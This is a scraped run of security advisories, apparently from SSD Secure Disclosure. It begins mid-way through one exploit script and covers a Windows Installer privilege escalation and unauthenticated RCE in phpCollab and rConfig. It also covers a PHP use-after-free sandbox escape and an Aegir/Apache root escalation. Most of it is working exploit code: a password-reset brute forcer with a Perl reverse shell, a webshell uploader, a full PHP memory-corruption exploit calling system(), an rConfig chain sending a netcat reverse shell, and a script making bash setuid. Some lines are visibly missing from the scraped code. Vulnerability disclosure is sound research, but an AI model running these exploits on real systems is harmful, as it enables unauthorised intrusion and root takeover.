        uids = [args.uid]
    log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))
    sha1_email = sha1(
    with FuturesSession() as session: # max_workers=4
        for uid in uids:
  "starting with uid {}...".format(uid))
            microsecond = 0
            hashes_tested = 0
            while microsecond < args.micros_elapsed:
                futures = []
                # try 100k per time to avoid ram cluttering
                for _ in range(100000):
                    # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)
                    # unix_ts = int(test_ts.timestamp())
                    ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)
                    reset_hash = generate_reset_hash(ms_string, uid)
                    futures.append("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \
                        "action":"resetPasswordChange", \
                        "resetHash": reset_hash, \
                        "newPassword": args.new_password \
                    }, allow_redirects=False))
                    microsecond += 1
                for future in as_completed(futures):
                    if hashes_tested % 50000 == 0 and hashes_tested > 0:
              "tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
                    hashes_tested += 1
                    response = future.result()
                    log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))
                    if "successMsg" in response.headers["location"] :
              "password has been reset, you can now login using {}:{}".format(, args.new_password))
              "removing from the queue all the remaining hashes...")
                        for future in futures:
  "target user doesn't have uid {}...".format(uid))

    log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))

def handler():
    global args
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", args.lport))
    conn, addr = s.accept()
    log.debug("Connection from %s %s received!" % (addr[0], addr[1]))
    t.sock = conn

def login_and_rce():
    global args
    handlerthr = Thread(target=handler)

    # login and record cookies
    s = requests.Session()
    log.debug("logging in...")
    login ="{}/login.php".format(args.rhost), data={"email":,
    "password": args.new_password,
    "loginSubmit": "Log in"})
    log.debug("login ret {} headers {}".format(login.status_code, login.headers))

    # rce
    rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",
    # notice the lowercase f 
    # (bypass of patch for
    "requiredData[addfunctions]" : "system", 
    "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)
    log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))

if __name__ == '__main__':
    if args.start_ts is None:"initiating password reset...")
        init_pw_reset()"reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))
    brute_pw_reset()"spawning a remote shell...")

SSD Advisory – Windows Installer Elevation of Privileges Vulnerability


Vulnerability in Windows Installer allows local users to gain elevated SYSTEM privileges in Windows.

Vulnerability Summary

Windows Installer is a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software.

Windows Installer suffers from a local privilege escalation allowing a local user to gain SYSTEM on victim’s machine. Microsoft has made a patch available that addresses this issue.


Independent security researcher Abdelhamid Naceri (halov) has reported this vulnerability to the SSD Secure Disclosure program.



Affected Versions

Windows 7

Windows 8

Windows 10

Windows 2008

Windows 2012

Windows 2016

Windows 2019

Vendor Response

Microsoft has released patches to address this issue, for more details see: CVE-2020-16902 | Windows Installer Elevation of Privilege Vulnerability

Vulnerability Analysis

The vulnerability was first found by sandbox escaper. She posted the write up here.

As noted in the write up, the original vulnerability got addressed in CVE-2019-1415. However, it was possible to bypass the patch – this was reported to Microsoft and they released it via security patches for CVE-2020-0814 and CVE-2020-1302. It now turns out those patches can be bypassed as well.

Here’s the unpatched output of the windows installer output using Process Monitor:

And then here’s the updated version:

As you can see, there’s no call to SetSecurityFile to secure the folder and so setting up the security description in c:\ allows for a race condition – since by default an authenticated user has delete access to subdirectories. This means we can call CreateDirectory(path,&sz) and set sz to our security descriptor. That was the patch for CVE-2020-0814.

But wait, why should the directory be protected from a user?

Windows Installer Rollback Files and Scripts

When you try to install, repair, uninstall something you might notice that there’s a cancel button

According to the Microsoft Documentation when the Windows Installer processes the installation script for the installation of a product or application, it simultaneously generates a rollback script and saves a copy of every file deleted during the installation.

These files are kept in a hidden system directory and are automatically deleted once the installation is successfully completed. If however the installation is unsuccessful, the installer automatically performs a rollback that returns the system to its original state.

So if we can modify the rollback files we can do changes to the machine in the context of the windows installer service which runs as SYSTEM.

As you can see here:

There are probably no race conditions since we can’t access the directory because of the ACL.

The security descriptor doesn’t allow even a user to get read access to the directory.

But there’s still something we can do. As seen above, Windows installer doesn’t create the rollback script directly but rather creates a directory and puts temporary files in it, and then deletes the directory.

However, there’s a weird part when the windows installer checks to see if the directory still exists after it successfully deleted it (see the NAME NOT FOUND). If the directory still exist after Windows Installer deleted it, CVE-2020-1302 resurfaces.

As you can see Windows Installer tries to set the security of the folder, which can be easily abused: since we created the directory, we have the ownership of the directory and will have WRITE_DAC access to the directory. As soon as Windows Installer tries to change the ACL to make it write restricted we change it to give everyone access to the directory.

It should be noted that accessing the rollback is a little bit difficult: the rollback script is created with a security descriptor that allow only SYSTEM and Administrators to access to it, which means that even if we control the c:\config.msi directory we can’t access the rollback script. However as can be seen in CVE-2020-0814, we can move the entire directory and then replace it as, and at this point we would have control over the entire directory and this will allow us to delete or move it.

This means we can move the entire directory into a temporary place and then create it by ourselves and place in it our specially created rollback file which would then be executed. Windows Installer usually makes it harder than it sounds, since the Windows Installer creates the rollback file in the directory using a special sharing method:

As you can see we are only allowed read only access, so any attempt to access to it with delete or write access will result in SHARING_VIOALATION.

We can still do some damage sooner or later as the Windows Installer will close the handle, but then again reopen it when Windows Installer wants to read it after clicking on Cancel. In between these two steps we can to move the directory and replace it.

So far the vulnerability would require a timing attack: pressing on the Cancel button at the right moment. So we need to address it in order to make the LPE work seamlessly.

In order to do that, we’ll use an application called Advanced Installer, used to create MSI packages. This application has a nice feature called Custom Actions:

Clicking on it will show you these options:

Clicking on “Launch File” will bring up:

The interesting option is Fail the installation if the custom action return an error, this what we are looking for an automated rollback. You can also see an option at the bottom called Condition. Let’s see what we can do with it.

As you can see, it asks us for the expression and it expects something like if(condition==true){//then execute}

If you pick the Wizard option (just right of the text box), you can then select Feature and click Next:

We can pick the Feature is being reinstalled:

This will allow us to execute the file only if the package is being repaired, making our exploit no longer require any user interaction.

At this point we have everything ready, we have an MSI package that will fail, will automatically rollback and will execute our code – we just need the Rollback file placed in the right folder and we are set.

Our rollback file will modify the Fax service executable to something we control – since users are allowed to start this service without any special privileges, after the registry was modified we just need to star the service and we get SYSTEM privileges.


Because the exploitation of this vulnerability requires building an MSI file and using Bluebear rollback generated file, we will not be providing an exploit for this vulnerability – a working exploit in binary form was provided to Microsoft and used by them to verify the findings.

SSD Advisory – phpCollab Unauth RCE


Find out how a vulnerability in phpCollab allows an unauthenticated user to reach RCE abilities and run code as ‘www-data’.

Vulnerability Summary

phpCollab is “a project management and collaboration system. Features include: team/client sites, task assignment, document repository/workflow, gantt charts, discussions, calendar, notifications, support requests, weblog newsdesk, invoicing, and many other tools”.

A vulnerability in phpCollab allows unauthenticated users to exploit the vulnerability through the file upload feature, and perform Remote Code Execution.


An independent, Trung Le, Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Versions

phpCollab 2.7.2 and prior

Fixed Versions

phpCollab 2.8.2

Vendor Response

“We released v2.8.2 a few days ago, which included the fixes that resolve the vulnerability you reported.

If you have found that the vulnerability is still present, or have found something else, please let us know and we will investigate it.

Thanks for helping test this issue”.

Vulnerability Analysis

phpCollab allows uploading content by admin whenever a new client is created. This is done through the editclient.php page.

Due to a mistake this page however appears to lacks basic tests for whether or not the user has logged on to the system when accessed directly and a POST request is used.

This allows a remote attacker to upload files to the server, which he can then subsequently, access.

By uploading a PHP file to the server which contains code execution commands, a remote user can run code without requiring to be logged on to the phpCollab application.

NOTE: Because the phpCollab application stores the files in a sequential number – based on how many previous uploads have occurred – a subsequent call to iterate through all possible files is required.



import requests
import sys
import logging

    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
# http_client.HTTPConnection.debuglevel = 1

# logging.getLogger().setLevel(logging.DEBUG)
# requests_log = logging.getLogger("requests.packages.urllib3")
# requests_log.setLevel(logging.DEBUG)
# requests_log.propagate = True

if len(sys.argv) < 2:
  print("Please provide a base URL")

url = sys.argv[1]

print("Attacking URL: {}".format(url))

payload = """<?php

data = {
  'owner' : '1',
  'name' : '''5aaa()<>/"';''',

files = {'upload' : ( 'something.php', payload), }

headers = {

print("Uploading shell file")
response = '{}clients/editclient.php?action=add&'.format(url), verify=False, files = files, data = data, headers = headers)

# print("body: {}".format(response.request.body))
# print("headers: {}".format(response.request.headers))

print("Looking for our shell file")
for number in range(1, 50):
  shell_url = '{}logos_clients/{}.php?cmd=id'.format(url, number)
  response = requests.get(shell_url)
  if response.status_code == 200 and 'uid=' in response.text:
    print("Command shell found at: {}".format(shell_url))

SSD Advisory – PHP SplDoublyLinkedList UAF Sandbox Escape


Find out how a use after free vulnerability in PHP allows attackers that are able to run PHP code to escape disable_functions restrictions.

Vulnerability Summary

PHP’s SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP’s core (PHP version 5.3, in 2009). The UAF allows to escape the PHP sandbox and execute code. Such exploits are generally used to bypass PHP limitations such as disable_functions, safe_mode, etc.


An independent Security Researcher, Charles Fol (@cfreal_), has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

PHP version 8.0 (alpha)

PHP version 7.4.10 and prior (probably also future versions will be affected)

Vendor Response

According to our security classification, this is not a security issue –, because it requires very special exploit code on the server. If an attacker is able to inject code, there may be more serious issues than bypassing disable_functions (note that safe_mode is gone for many years).

Vulnerability Analysis

SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the “current” DLL element.

You can then call next() or prev() to make the DLL point to another element.

When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still
pointing to the associated element, even if it was removed from the list.

This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval’s destructor.

Code flow from input to the vulnerable condition

We create an SplDoublyLinkedList object $s with two values; the first one is an object with a specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator current element points to our object.
When we call $s->offsetUnset(0), it calls the underlying C function SPL_METHOD(SplDoublyLinkedList, offsetUnset) (in ext/spl/spl_dllist.c) which does the following:

  1. Remove the item from the doubly-linked list by setting
    element->prev->next = element->next
    element->next->prev = element->prev
    (effectively removing the item from the DLlist)
  2. Destroy the associated zval (llist->dtor)
  3. If intern->traverse_pointer points to the element (which is the case), reset the pointer to NULL.

On step 2, the __destruct method of our object is called. intern->traverse_pointer still points to the element. To trigger an UAF, we can do:

    1. Remove the second element of the DLlist by calling $s->offsetUnset(0).
      now, intern->traverse_pointer->next points to a freed location
    2. Call $s->next(): this effectively does intern->traverse_pointer = intern->traverse_pointer->next. Since this was freed just above, traverse_pointer points to a freed location.
    3. Using $s->current(), we can now access freed memory -> UAF

Suggested Fixes

intern->traverse_pointer needs to be cleared before destroying the zval, and the reference can be deleted afterwards. Something like this would do:

        was_traverse_pointer = 0;

        // Clear the current pointer
        if (intern->traverse_pointer == element) {
            intern->traverse_pointer = NULL;
            was_traverse_pointer = 1;

        if(llist->dtor) {

        if(was_traverse_pointer) {

        // In the current implementation, this part is useless, because
        // llist->dtor will UNDEF the zval before




# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.


define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;

function s2i(&$s, $p, $x=8)
    $i = 0;

        $i <<= 8;
        $i |= ord($s[$p+$j]);

    return $i;

class UAFTrigger
    function __destruct()
        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

        #"print('UAF __destruct: ' . "\n");
        # At this point every $dll->current points to the same freed chunk. We allocate
        # that chunk with a string, and fill the zval part
        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
        i2s($fake_dll_element, 0x00, 0x12345678); # ptr
        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
        # Each of these dlls current->next pointers point to the same location,
        # the string we allocated. When calling next(), our fake element becomes
        # the current value, and as such its rc is incremented. Since rc is at
        # the same place as zend_string.len, the length of the string gets bigger,
        # allowing to R/W any part of the following memory
        for($i = 0; $i <= NB_DANGLING; $i++)

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
            die('Exploit failed: fake_dll_element did not increase in size');
        $leaked_str_offsets = [];
        $leaked_str_zval = [];

        # In the memory after our fake element, that we can now read and write,
        # there are lots of zend_string chunks that we allocated. We keep three,
        # and we keep track of their offsets.
        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
            # If we find a string marker, pull it from the string list
            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
                $leaked_str_offsets[] = $offset;
                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
                if(count($leaked_str_zval) == 3)

        if(count($leaked_str_zval) != 3)
            die('Exploit failed: unable to leak three zend_strings');
        # free the strings, except the three we need
        $strs = null;

        # Leak adress of first chunk
        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

        # At this point we have 3 freed chunks of size 40, which we can read/write,
        # and we know their address.
        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

        # In the third one, we will allocate a DLL element which points to a zend_array
        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
        # Change the zval type from zend_object to zend_string
        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
        if(gettype($rw_dll[0]) != 'string')
            die('Exploit failed: Unable to change zend_array to zend_string');
        # We can now read anything: if we want to read 0x11223300, we make zend_string*
        # point to 0x11223300-0x10, and read its size using strlen()

        # Read zend_array->pDestructor
        $zval_ptr_dtor_addr = read($array_addr + 0x30);
        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

        # Use it to find zif_system
        $system_addr = get_system_address($zval_ptr_dtor_addr);
        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
        # In the second freed block, we create a closure and copy the zend_closure struct
        # to a string
        $rw_dll->push(function ($x) {});
        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
        $data = str_shuffle(str_repeat('A', 0x200));

        for($i = 0; $i < 0x138; $i += 8)
            i2s($data, $i, read($closure_addr + $i));
        # Change internal func type and pointer to make the closure execute system instead
        i2s($data, 0x38, 1, 4);
        i2s($data, 0x68, $system_addr);
        # Push our string, which contains a fake zend_closure, in the last freed chunk that
        # we control, and make the second zval point to it.
        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
        # Calling it now
        print('Running system("id");' . "\n");


class DanglingTrigger
    function __construct($i)
        $this->i = $i;

    function __destruct()
        global $dlls;
        #D print('__destruct: ' . $this->i . "\n");

class SystemExecutor extends ArrayObject
    function offsetGet($x)

 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,
 * and setting its type to zend_string, so that zend_string->len points to the value
 * we want to read.
function read($addr, $s=8)
    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

    $value = strlen($rw_dll[0]);

    if($s != 8)
        $value &= (1 << ($s << 3)) - 1;

    return $value;

function get_binary_base($binary_leak)
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++)
        $addr = $start - 0x1000 * $i;
        $leak = read($addr, 7);
        # ELF header
        if($leak == 0x10102464c457f)
            return $addr;
    # We'll crash before this but it's clearer this way
    die('Exploit failed: Unable to find ELF header');

function parse_elf($base)
    $e_type = read($base + 0x10, 2);

    $e_phoff = read($base + 0x20);
    $e_phentsize = read($base + 0x36, 2);
    $e_phnum = read($base + 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = read($header + 0x00, 4);
        $p_flags = read($header + 0x04, 4);
        $p_vaddr = read($header + 0x10);
        $p_memsz = read($header + 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;

    if(!$data_addr || !$text_size || !$data_size)
        die('Exploit failed: Unable to parse ELF');

    return [$data_addr, $text_size, $data_size];

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = read($data_addr + $i * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
        } else continue;

        $leak = read($data_addr + ($i + 4) * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
        } else continue;

        return $data_addr + $i * 8;

function get_system($basic_funcs)
    $addr = $basic_funcs;
    do {
        $f_entry = read($addr);
        $f_name = read($f_entry, 6);

        if($f_name == 0x6d6574737973) { # system
            return read($addr + 8);
        $addr += 0x20;
    } while($f_entry != 0);
    return false;

function get_system_address($binary_leak)
    $base = get_binary_base($binary_leak);
    print('ELF base: 0x' .dechex($base) . "\n");
    $elf = parse_elf($base);
    $basic_funcs = get_basic_funcs($base, $elf);
    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
    $zif_system = get_system($basic_funcs);
    return $zif_system;

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();

# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
    $dlls[$i] = new SplDoublyLinkedList();
    $dlls[$i]->push(new DanglingTrigger($i));

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
    i2s($strs[$i], 0, STR_MARKER);
    i2s($strs[$i], 8, $i, 7);

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());

# Trigger the bug on the first list

SSD Advisory – rConfig Unauthenticated RCE


Find out how a chain of vulnerabilities in rConfig allows a remote unauthenticated user to gain ‘apache’ user access to the vulnerable rConfig installation.

Vulnerability Summary

rConfig is “an open source network device configuration management utility that takes frequent configuration snapshots of devices. Open source, and built by Network Architects – We know what you need!”

Two vulnerabilities in rConfig remote unauthenticated RCE. One vulnerability allows an unauthenticated user to become authenticated, another vulnerability which is post-authentication allows an attacker to execute arbitrary code.


An independent Security Researcher, Daniel Monzón, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

rConfig 3.9.6 and prior

Vendor Response

The vendor was initially very responsive and provided feedback and a link to an updated version (3.9.6) – we originally verified the vulnerability on version 3.9.5.

We were able to confirm that version 3.9.6 is also vulnerable and communicated this back to the vendor.

The vendor has not responded since July and failed to provide any timeline for a fix or a patch.

At the moment we are not aware of a patch or a workaround to prevent these two vulnerabilities from being exploited.

Vulnerability Analysis

rConfig is vulnerable to multiple RCE vulnerabilities.

ajaxArchiveFiles.php RCE

In the file /home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php there is a blind command injection vulnerability in the ext parameter (different from CVE-2019-19509, which by the way, has not been resolved and it is still present, as you can see in the screenshot):

To trigger the vulnerability the following raw request can be sent:

ajaxEditTemplate.php RCE

The second RCE is in the connection template edit page of rConfig. It is possible to introduce PHP code inside a file and call it ../www/test.php. This would allow an attacker to make the file reachable from the outside of the box. If the filename does not end in .yml, rConfig appends it, therefore a file called test.php will be accessible via https://rconfig/test.php.yml

updater.php RCE

The third RCE is in https://rconfig/updater.php?chk=1. There are not enough checks for in the updater.php file. If we grab a real rConfig ZIP and add a PHP webshell to the ZIP, upload and install, we we will find that the new admin credentials are admin:admin and we will have a nice webshell.

userprocess.php Authentication Bypass

The first authentication bypass vulnerability lays on the register function of
/home/rconfig/www/lib/crud/userprocess.php. There is no authentication enforced, so we can just create our own admin user (ulevelid = 9). Authentication Bypass

The second authentication bypass vulnerability is in the same file than the previous one. Using the information leakage in https://rconfig/ we can get to know which users are present in the rConfig instance, so we can update the details of the account (including the password), with again, no authentication required:



import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup


url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version ="<p>(.*)<span>", x.text)
version =

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
   print("Version is "+version+ " it may not be vulnerable")

proxies = {"http": "", "https": ""} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': '',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response ='lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
        print("(-) User couldn't be created, please debug the exploit")

def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
    with requests.Session() as s:
         p ='lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
    with requests.Session() as s:
         p ='lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
                print("(-) Error when executing payload, please debug the exploit")

def user_enum_update():
    users=requests.get(url+'', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': '',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response ='lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+" manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p ='lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
            print("(+) Log in as admin completed")
  'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    if auth_bypass == "1":
    elif auth_bypass == "2":
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    if rce_method == "1":
    elif rce_method == "2":

SSD Advisory – Aegir with Apache LPE


Find out how we exploited a behavior of Apache while using the limited rights of Aegir user to gain root access.

Vulnerability Summary

Aegir is a free and open source Unix based web hosting control panel
program for Application lifecycle management that provides a graphical interface designed to simplify deploying and managing Drupal, WordPress and CiviCRM Web sites.

When installing Aegir using official packages, the script aegir3-provision.postinst installs an unsafe sudoer rule, allowing to elevate privileges from the user aegir to root.


An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Aegir installations running under Apache

Unaffected Systems

Aegir installations running under Nginx

Vendor Response

The vendor released a statement,, that the user aegir should not be used by any untrusted user as well as that customers should migrate to an Nginx setup (which is now the default) to prevent such attacks from being possible.

Vulnerability Analysis

During the installation of the package aegir3-provision, the script
aegir3-provision.postinst will create a sudo configuration file in

if [ -d /etc/sudoers.d ]; then
  ucf --debconf-ok /usr/share/drush/commands/provision/example.sudoers /etc/sudoers.d/aegir
  ucfr aegir-provision /etc/sudoers.d/aegir
  chmod 440 /etc/sudoers.d/aegir
  echo "running an older version of sudo"
  echo "copy content of /usr/share/drush/commands/provision/example.sudoers into /etc/sudoers for aegir to run properly"

This file allows the user aegir to call /usr/sbin/apache2ctl (the
reference to /etc/init.d/nginx is not relevant here, as the package is not installed by default):

aegir ALL=NOPASSWD: /usr/sbin/apache2ctl
aegir ALL=NOPASSWD: /etc/init.d/nginx

This way, the user aegir can reload apache2‘s configuration to support
new virtual hosts. Part of this configuration is loaded from aegir‘s home
directory, as aegir3-provision.postinst creates a symbolic link between
/var/aegir/config/apache.conf and /etc/apache2/conf-enabled/aegir.conf:

case $WEBSERVER in 
  if [ -d /etc/apache2/conf-enabled ]; then
    # Apache 2.4
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf-enabled/aegir.conf
    # Apache 2.2
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf.d/aegir.conf
  a2enmod ssl rewrite
  apache2ctl graceful

However, configuration files can declare dynamic libraries to be loaded by
the HTTP server and also external error loggers. As described in
the documentation:

Piped log processes are spawned by the parent Apache httpd process, and inherit the userid of that process. This means that piped log programs usually run as root.

By modifying /var/aegir/config/apache.conf to declare a custom ErrorLog,
and then reloading the apache2 configuration using sudo /usr/sbin/apache2ctl restart, it will be possible to execute arbitrary commands as root.

As /usr/sbin/apache2ctl can also accept various flags to declare additional
configuration directives and write to arbitrary files, other ways to elevate
privileges may exist.

Temporary workaround

Remove the file /etc/sudoers.d/aegir. As Aegir will not be able to reload
the configuration of apache2, new hosts created on the interface will not
be reachable before a manual reload.

Fix (Unofficial)

The following changes could be implemented to prevent the privilege

  • Deploying apache2 as an unprivileged service to be started as root, but
  • with the capability CAP_NET_BIND_SERVICE.
  • Using vhost_dbd_module to declare virtual hosts in a database, removing the need of loading apache2 configuration files from aegir‘s home directory.
  • Using a custom service to convert a set of ini files declaring virtual hosts and writing them into /etc/apache2. The user aegir would only be allowed to edit these files, start the conversion process and reload apache2.



import sys
import os

COMMAND='/usr/bin/chmod +s /bin/bash'

SUDO_RELOAD='/usr/bin/sudo /usr/sbin/apache2ctl restart'

if not COMMAND and len(sys.argv) != 2:
  print 'Usage: python2.7 {} <command>'.format(sys.argv[0])

with open(APACHE_CONFIG, 'a+') as f:
